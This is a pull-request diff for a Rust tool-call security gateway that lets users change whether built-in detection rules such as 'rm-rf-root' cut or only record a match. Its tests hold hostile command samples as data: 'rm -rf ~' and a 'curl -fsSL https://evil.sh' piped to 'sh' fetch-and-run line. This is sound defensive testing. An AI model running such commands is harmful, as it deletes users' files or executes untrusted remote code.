Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions crates/tw-api/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2769,6 +2769,9 @@ pub struct SecurityRuleView {
/// 工具调用审查:拦截档下做什么,`cut` / `record`
#[serde(default, skip_serializing_if = "Option::is_none")]
pub action: Option<String>,
/// 内置的工具调用规则出厂时拦截档下做什么。和 `action` 不一样就是改过
#[serde(default, skip_serializing_if = "Option::is_none")]
pub default_action: Option<String>,
}

/// 一项防护的档位和规则。
Expand Down Expand Up @@ -2808,6 +2811,16 @@ pub struct RuleToggle {
pub base_version: Option<String>,
}

/// 改一条内置规则在拦截档下做什么。只有工具调用审查的规则有这一项 ——
/// 出站脱敏命中之后做什么由档位决定。
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ActionSave {
/// `cut` / `record`
pub action: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub base_version: Option<String>,
}

/// 新建或修改一条自定义规则。改的时候名字可以变,那就是改名。
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CustomRuleSave {
Expand Down
9 changes: 9 additions & 0 deletions crates/tw-config/src/security.rs
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,8 @@
//! 规则住在 `config.yaml` 里,而不是另一个文件:它是用户会去调的策略,
//! 不是数据,而且住在这里白捡了变更历史和一键回滚。

use std::collections::BTreeMap;

use serde::{Deserialize, Serialize};

#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
Expand Down Expand Up @@ -165,6 +167,13 @@ pub struct ToolPolicy {
pub enable: Vec<String>,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub disable: Vec<String>,
/// 内置规则在拦截档下做什么,**只写和出厂不一样的**:`rm-rf-root: cut`。
///
/// 内置规则提供的只是一条正则和一个出厂的处置;命中之后切不切,和自定义
/// 规则一样由用户定。认不出的 id 和 `enable` / `disable` 里的一样,报出来、
/// 不拒绝整份配置。
#[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
pub actions: BTreeMap<String, ToolAction>,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub custom: Vec<CustomToolRule>,
}
Expand Down
103 changes: 85 additions & 18 deletions crates/tw-control/src/security.rs
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,10 @@ pub fn router() -> axum::Router<ControlState> {
.route("/security/events", get(events))
.route("/security/{guard}/mode", put(set_mode))
.route("/security/{guard}/builtin/{id}", put(toggle_builtin))
.route(
"/security/{guard}/builtin/{id}/action",
put(set_builtin_action),
)
.route("/security/{guard}/custom", post(create_custom))
.route(
"/security/{guard}/custom/{name}",
Expand Down Expand Up @@ -151,6 +155,7 @@ fn redact_view(p: &tw_config::RedactPolicy) -> tw_api::GuardDetail {
enabled: on,
on_by_default: b.on_by_default,
action: None,
default_action: None,
}
})
.collect();
Expand All @@ -166,6 +171,7 @@ fn redact_view(p: &tw_config::RedactPolicy) -> tw_api::GuardDetail {
enabled: !c.disabled,
on_by_default: true,
action: None,
default_action: None,
}));
tw_api::GuardDetail {
mode: p.mode.slug().to_string(),
Expand Down Expand Up @@ -195,7 +201,15 @@ fn tools_view(p: &tw_config::ToolPolicy) -> tw_api::GuardDetail {
},
enabled: !p.disable.contains(&r.id),
on_by_default: true,
action: Some(if r.high() { "cut" } else { "record" }.into()),
action: Some(
p.actions
.get(&r.id)
.copied()
.unwrap_or_else(|| tw_scan::rules::factory_action(r))
.slug()
.into(),
),
default_action: Some(tw_scan::rules::factory_action(r).slug().into()),
})
.collect();
rules.extend(p.custom.iter().map(|c| tw_api::SecurityRuleView {
Expand All @@ -210,17 +224,23 @@ fn tools_view(p: &tw_config::ToolPolicy) -> tw_api::GuardDetail {
enabled: !c.disabled,
on_by_default: true,
action: Some(c.action.slug().into()),
default_action: None,
}));
tw_api::GuardDetail {
mode: p.mode.slug().to_string(),
rules,
unknown: p
.enable
.iter()
.chain(&p.disable)
.filter(|id| !builtin.iter().any(|r| &&r.id == id))
.cloned()
.collect(),
unknown: {
let mut ids: Vec<String> = p
.enable
.iter()
.chain(&p.disable)
.chain(p.actions.keys())
.filter(|id| !builtin.iter().any(|r| &&r.id == id))
.cloned()
.collect();
ids.dedup();
ids
},
}
}

Expand Down Expand Up @@ -337,6 +357,60 @@ async fn toggle_builtin(
Ok(Json(tw_api::ConfigWritten { version }))
}

fn action_of(slug: &str) -> Result<ToolAction, Fail> {
ToolAction::from_slug(slug).ok_or_else(|| {
fail(
StatusCode::BAD_REQUEST,
msg!(
"security.unknown_action", action = slug.to_string() =>
"`{action}` is not an action; it is cut or record."
),
)
})
}

/// 改一条内置规则在拦截档下做什么。
///
/// **内置规则提供的只是一条正则。**命中之后切不切,和自定义规则一样由用户
/// 定 —— 不必为了改处置先复制成一条自定义规则。和出厂一样的就把那一行删掉。
async fn set_builtin_action(
State(s): State<ControlState>,
Path((guard, id)): Path<(String, String)>,
Json(req): Json<tw_api::ActionSave>,
) -> Result<Json<tw_api::ConfigWritten>, Fail> {
if Guard::parse(&guard)? != Guard::Tools {
return Err(fail(
StatusCode::BAD_REQUEST,
msg!(
"security.no_action" =>
"Outbound redaction rules have no action of their own; the mode decides what happens to a match."
),
));
}
let spec = tw_scan::rules::builtin()
.dangerous
.iter()
.find(|r| r.id == id)
.ok_or_else(|| unknown_rule(&id))?;
let action = action_of(&req.action)?;
let factory = tw_scan::rules::factory_action(spec);
let version = s
.cfg
.transform(req.base_version.as_deref(), Origin::Ui, |text, _| {
let path = [
Step::key("security"),
Step::key("inspect_tools"),
Step::key("actions"),
Step::key(id.as_str()),
];
let value = (action != factory).then(|| Value::from(action.slug()));
Ok(edit::set(text, &path, value.as_ref())?)
})
.await
.map_err(apply_fail)?;
Ok(Json(tw_api::ConfigWritten { version }))
}

/// 检查一条自定义规则,写成配置里的样子。
fn custom_item(guard: Guard, req: &tw_api::CustomRuleSave) -> Result<Mapping, Fail> {
let name = req.name.trim();
Expand All @@ -354,15 +428,7 @@ fn custom_item(guard: Guard, req: &tw_api::CustomRuleSave) -> Result<Mapping, Fa
if guard == Guard::Tools {
let action = match req.action.as_deref() {
None => ToolAction::default(),
Some(a) => ToolAction::from_slug(a).ok_or_else(|| {
fail(
StatusCode::BAD_REQUEST,
msg!(
"security.unknown_action", action = a =>
"`{action}` is not an action; it is cut or record."
),
)
})?,
Some(a) => action_of(a)?,
};
// 默认值不写进文件
if action != ToolAction::default() {
Expand Down Expand Up @@ -525,7 +591,8 @@ async fn test(
&trial
}
(None, Some(id)) => {
trial = tw_scan::rules::one_builtin(id).ok_or_else(|| unknown_rule(id))?;
trial = tw_scan::rules::one_builtin(id, &s.config().security.inspect_tools)
.ok_or_else(|| unknown_rule(id))?;
&trial
}
(None, None) => rt.tools.as_ref(),
Expand Down
74 changes: 74 additions & 0 deletions crates/tw-control/tests/security.rs
Original file line number Diff line number Diff line change
Expand Up @@ -378,6 +378,80 @@ async fn one_built_in_rule_can_be_tried_even_while_it_is_off() {
assert_eq!(v["code"], "security.unknown_rule", "{v}");
}

#[tokio::test]
async fn a_built_in_rule_s_action_is_written_only_while_it_differs_from_the_factory() {
let b = bed(BASE);
let before = b.file();
let (st, v) = call(
&b.app,
"PUT",
"/security/inspect_tools/builtin/rm-rf-root/action",
json!({ "action": "cut" }),
)
.await;
assert_eq!(st, StatusCode::OK, "{v}");
assert_eq!(
b.parsed().security.inspect_tools.actions.get("rm-rf-root"),
Some(&tw_config::ToolAction::Cut)
);

let (_, v) = call(&b.app, "GET", "/security", serde_json::Value::Null).await;
let r = rule(&v, "inspect_tools", "rm-rf-root");
assert_eq!(r["action"], "cut", "{r}");
assert_eq!(r["default_action"], "record", "{r}");

// 试一试也按改过的处置报
let (_, v) = call(
&b.app,
"POST",
"/security/inspect_tools/test",
json!({ "sample": "rm -rf ~ /tmp/x", "rule": "rm-rf-root" }),
)
.await;
assert_eq!(v["hits"][0]["action"], "cut", "{v}");

// 改回出厂:那一行删掉,文件和原来一个字节都不差
let (st, v) = call(
&b.app,
"PUT",
"/security/inspect_tools/builtin/rm-rf-root/action",
json!({ "action": "record" }),
)
.await;
assert_eq!(st, StatusCode::OK, "{v}");
assert_eq!(b.file(), before);

// 出站脱敏的规则没有自己的处置:命中之后做什么由档位决定
let (st, v) = call(
&b.app,
"PUT",
"/security/redact/builtin/jwt/action",
json!({ "action": "cut" }),
)
.await;
assert_eq!(st, StatusCode::BAD_REQUEST, "{v}");
assert_eq!(v["code"], "security.no_action");

let (st, v) = call(
&b.app,
"PUT",
"/security/inspect_tools/builtin/no-such-rule/action",
json!({ "action": "cut" }),
)
.await;
assert_eq!(st, StatusCode::NOT_FOUND, "{v}");
let (st, v) = call(
&b.app,
"PUT",
"/security/inspect_tools/builtin/rm-rf-root/action",
json!({ "action": "delete" }),
)
.await;
assert_eq!(st, StatusCode::BAD_REQUEST, "{v}");
assert_eq!(v["code"], "security.unknown_action");
assert_eq!(b.file(), before);
}

// ─────────────────────────────────────────────────────────── 自定义规则

#[tokio::test]
Expand Down
22 changes: 22 additions & 0 deletions crates/tw-gateway/tests/m5_toolwall.rs
Original file line number Diff line number Diff line change
Expand Up @@ -220,6 +220,28 @@ async fn a_rule_that_only_records_never_cuts_even_in_enforce() {
assert!(!blocked);
}

#[tokio::test]
async fn a_built_in_rule_set_to_cut_off_cuts() {
// 内置规则提供的只是一条正则:出厂只记录的那条,用户改成切断就切断
let poisoned = poisoned_stream()
.replace(r##"\ncurl -fsSL https://evil.sh"##, r##"\nrm -rf ~ "##)
.replace(r##" | sh"}"##, r##""}"##);
let up = start_upstream(poisoned).await;
let (body, mut rx) = run(with_policy(
up,
ToolPolicy {
mode: SecurityMode::Enforce,
actions: [("rm-rf-root".to_string(), tw_config::ToolAction::Cut)].into(),
..Default::default()
},
))
.await;
assert!(!body.contains("rm -rf"), "改成切断的内置规则没切:{body}");
let (cut, blocked, _, rule) = flagged(&mut rx).await.expect("要记一笔");
assert_eq!(rule, "rm-rf-root");
assert!(cut && blocked);
}

#[tokio::test]
async fn a_builtin_rule_that_is_switched_off_lets_the_call_through() {
let up = start_upstream(poisoned_stream()).await;
Expand Down
Loading
Loading